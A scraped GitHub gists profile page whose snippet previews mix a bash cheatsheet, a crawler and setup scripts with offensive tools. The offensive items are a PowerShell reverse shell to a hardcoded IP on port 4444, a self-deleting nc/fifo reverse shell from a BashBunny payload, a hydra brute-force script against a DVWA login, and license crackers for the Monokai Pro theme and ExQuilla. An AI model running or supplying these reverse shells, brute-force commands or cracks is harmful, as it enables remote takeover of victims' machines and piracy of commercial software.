Skip to content

Instantly share code, notes, and snippets.

View 11philip22's full-sized avatar
👽
planet rider

Philip 11philip22

👽
planet rider
  • /dev/chaos
View GitHub Profile
$lhost="193.168.1.138";
$lport=4444;
$MAXCMDLENGTH=65535;
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport);
$stream = $client.GetStream();
$bytes = (New-Object byte[] $MAXCMDLENGTH);
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> ");
$stream.Write($out, 0, $out.Length);
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
@11philip22
11philip22 / cheatcheat.md
Last active March 18, 2021 12:39
bash magic

Cheatcheat

This is where i write down usefull commands i keep forgetting

Bash

Recursive dos2unix

find . -type f -print0 | xargs -0 dos2unix

List file extensions This commands lists all the different extensions recursively and shows how many files with that extension there are.

@11philip22
11philip22 / a.sh
Last active July 19, 2019 23:57
BashBunny reversed shell Ubuntu 18.md. I did not create this script i just modified it to work propperly with Ubunbtu 18.
#!/bin/bash
A="$0"
mkfifo pipe; nc -nv 192.168.100.187 4444 < pipe | /bin/sh 2>pipe >pipe &
disown $!
rm -f "$A"
@11philip22
11philip22 / base.py
Last active July 19, 2019 23:55
python webcrawler i wrote to learn python
# deze crawler pakt letterlijk alle linkjes en loopt daar over heen
# crached na een tijdje geen idee waarom
from bs4 import BeautifulSoup
from urllib.request import urlopen, Request
import re
from urllib.parse import urlparse
website = "https://paranormalthoughtspodcast.wordpress.com/"
crawl = [website]
@11philip22
11philip22 / app.js
Last active December 23, 2023 19:11
Crack Monokai pro theme for Visual Studio Code or VSCodium
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("path"),require("child_process"),require("os"),require("fs")):"function"==typeof define&&define.amd?define(["path","child_process","os","fs"],t):"object"==typeof exports?exports["app"]=t(require("path"),require("child_process"),require("os"),require("fs")):e["app"]=t(e["path"],e["child_process"],e["os"],e["fs"])}(this,function(e,t,s,i){return(e=>{function t(i){if(s[i])return s[i].exports;var r=s[i]={i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var s={};return t.m=e,t.c=s,t.d=((e,s,i)=>{t.o(e,s)||Object.defineProperty(e,s,{configurable:!1,enumerable:!0,get:i})}),t.n=(e=>{var s=e&&e.__esModule?function(){return e["default"]}:function(){return e};return t.d(s,"a",s),s}),t.o=((e,t)=>Object.prototype.hasOwnProperty.call(e,t)),t.p="",t(t.s=1)})([(e,t,s)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default={APP:{NAME:"MonokaiPro-VSCode",
THEMES:["Monokai Pro","Monokai Pro (F
@11philip22
11philip22 / fixxubuntu.sh
Last active August 20, 2019 11:27
fix xubuntu
#!/usr/bin/env bash
# This program is written for ubuntu 19.04 running on a Lenovo Thinkpad t490.
# Its mostly personalized settings and programs but also a few fixes:
# -HSP/A2DP bluetooth devices (please check if your bluetooth works before you run this part)
# -screen tearing and black lockscreen will probably work on on other devices with Intel UHD Graphics 620
if [[ "$EUID" -ne 0 ]]
then echo "Please run as root"
exit
import os
from multiprocessing import Pool
def download(link):
os.system("youtube-dl "+"\""+link+"\"")
def get_list():
print("Enter/Paste your links")
#!/bin/bash
ip=localhost
koekje1=$(curl http://localhost/vulnerabilities/brute/ -s0 -I | grep "Set-Cookie" | sed -n '1!p' | sed 's/[^ ]* *//' | awk '{gsub("; path=/", "");print}' | grep security )
koekje2=$(curl http://localhost/vulnerabilities/brute/ -s0 -I | grep "Set-Cookie" | sed -n '1!p' | sed 's/[^ ]* *//' | awk '{gsub("; path=/", "");print}' | grep PHPSESSID)
hydra $ip -l admin -P /home/philip/wordlist.txt http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: ${koekje1};{$koekje2}"
@11philip22
11philip22 / copy_selenium_cookies_to_cookiejar.py
Created September 12, 2019 21:31 — forked from tubaman/copy_selenium_cookies_to_cookiejar.py
copy selenium cookies to cookielib CookieJar
import cookielib
def to_cookielib_cookie(selenium_cookie):
return cookielib.Cookie(
version=0,
name=selenium_cookie['name'],
value=selenium_cookie['value'],
port='80',
port_specified=False,
@11philip22
11philip22 / exquilla_cracker.py
Last active September 23, 2019 13:11
A little python script i stole from the Chinese
#!/usr/bin/env python
# encoding: utf-8
import sys
import hashlib
class CrackExQuilla(object):
def __init__(self, email, expired_date):
self.email = email
self.expired_date = expired_date